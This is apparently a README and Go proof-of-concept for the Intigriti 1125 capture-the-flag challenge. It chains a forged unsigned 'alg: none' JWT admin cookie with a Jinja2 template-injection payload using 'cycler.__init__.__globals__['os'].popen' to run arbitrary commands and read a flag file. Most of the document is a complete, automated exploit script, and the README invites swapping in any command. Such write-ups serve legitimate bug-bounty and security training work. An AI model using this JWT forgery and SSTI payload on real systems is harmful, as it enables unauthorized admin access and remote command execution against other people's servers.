# Intigriti Challenge 1125 – SSTI Chain PoC
## Overview
- **Vulnerability Type:** Server-side template injection (Jinja2 SSTI) + unsigned JWT.
- **Target:** `https://challenge-1125.intigriti.io`.
- **Impact:** Remote command execution (RCE) and sensitive file exposure.
- **This repo:** A small Go program (`main.go`) that automates the PoC.
## Impact
- Authenticated attacker equivalent privileges without credentials by forging JWT.
- Full remote code execution via template sandbox escape enables arbitrary file read/write, lateral movement, and persistence.
- Sensitive artifacts (e.g., `INTIGRITI{...}` flag) can be exfiltrated; database or secret leaks are highly likely.
- Exploit chain is zero-click once cookie is set, so detection is difficult and response window minimal.
## Root Cause
- The server accepts the JWT in the `token` cookie without verifying any signature (`alg: none`).
- The admin panel forwards `display_name` directly into Jinja2 and does not prevent access to internals such as `cycler.__init__.__globals__`.
- Combining both flaws lets an attacker mint an authenticated admin session and execute `os.popen` commands inside the template.
## PoC Flow
1. **JWT Crafting:** Build an `alg:none` token with admin privileges, encode header/payload using base64-url without padding, and form `header.payload.`.
2. **Cookie Injection:** Send `token=<jwt>` to the target domain (see `makeAdminSession()`).
3. **SSTI Payload:** Submit `{{ cycler.__init__.__globals__['os'].popen('<cmd>').read() }}` in `display_name` via `runCmd()`.
4. **Read Output:** Revisit the admin profile page and grab the `<p>` element under “Current Display Name” to obtain command output.
## PoC Section
- `main.go` leverages `makeAdminSession()` to craft the unsigned JWT and set the `token` cookie for an admin session.
- `runCmd(cmd string)` POSTs the SSTI payload into `display_name`, then fetches the same endpoint to scrape and print the result.
- `main()` calls `runCmd("cat /app/.aquacommerce/019a82cf.txt")`, but you can swap in any command to demonstrate RCE.
- Since the script is fully automated, include screenshots or raw output in your report to confirm the manual steps.
## Running the Tool
```bash
go run main.go
```
- Default command: `cat /app/.aquacommerce/019a82cf.txt`.
- Change the `runCmd("<cmd>")` call in `main()` to execute something else.
**Exploit Code**
```go
package main
import (
"encoding/base64"
"encoding/json"
"fmt"
"io"
"net/http"
"net/http/cookiejar"
"net/url"
"strings"
"time"
"github.com/PuerkitoBio/goquery"
)
func b64(data interface{}) string {
j, _ := json.Marshal(data)
return base64.RawURLEncoding.EncodeToString(j)
}
func makeAdminSession() *http.Client {
header := map[string]string{
"alg": "none",
"typ": "JWT",
}
payload := map[string]interface{}{
"user_id": 1,
"username": "admin",
"role": "admin",
"exp": time.Now().Unix() + 600,
}
token := b64(header) + "." + b64(payload) + "."
jar, _ := cookiejar.New(nil)
client := &http.Client{Jar: jar}
// Cookie set et
baseURL, _ := url.Parse("https://challenge-1125.intigriti.io")
client.Jar.SetCookies(baseURL, []*http.Cookie{
{
Name: "token",
Value: token,
Path: "/",
Domain: "challenge-1125.intigriti.io",
},
})
return client
}
func runCmd(cmd string) {
client := makeAdminSession()
tpl := fmt.Sprintf("{{ cycler.__init__.__globals__['os'].popen('%s').read() }}", cmd)
form := url.Values{}
form.Set("display_name", tpl)
req, _ := http.NewRequest(
"POST",
"https://challenge-1125.intigriti.io/admin/profile",
strings.NewReader(form.Encode()),
)
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
_, _ = client.Do(req)
// GET profile
resp, err := client.Get("https://challenge-1125.intigriti.io/admin/profile")
if err != nil {
fmt.Println("GET error:", err)
return
}
defer resp.Body.Close()
body, _ := io.ReadAll(resp.Body)
// HTML parse
doc, _ := goquery.NewDocumentFromReader(strings.NewReader(string(body)))
// "Current Display Name" altında gelen <p> elemanını çekiyoruz
var output string
doc.Find("label").Each(func(i int, s *goquery.Selection) {
if strings.Contains(s.Text(), "Current Display Name") {
p := s.Parent().Find("p")
output = strings.TrimSpace(p.Text())
}
})
if output == "" {
fmt.Println("No output found (UI değişmiş olabilir)")
} else {
fmt.Println("CMD OUTPUT:\n" + output)
}
}
func main() {
runCmd("cat /app/.aquacommerce/019a82cf.txt")
}
```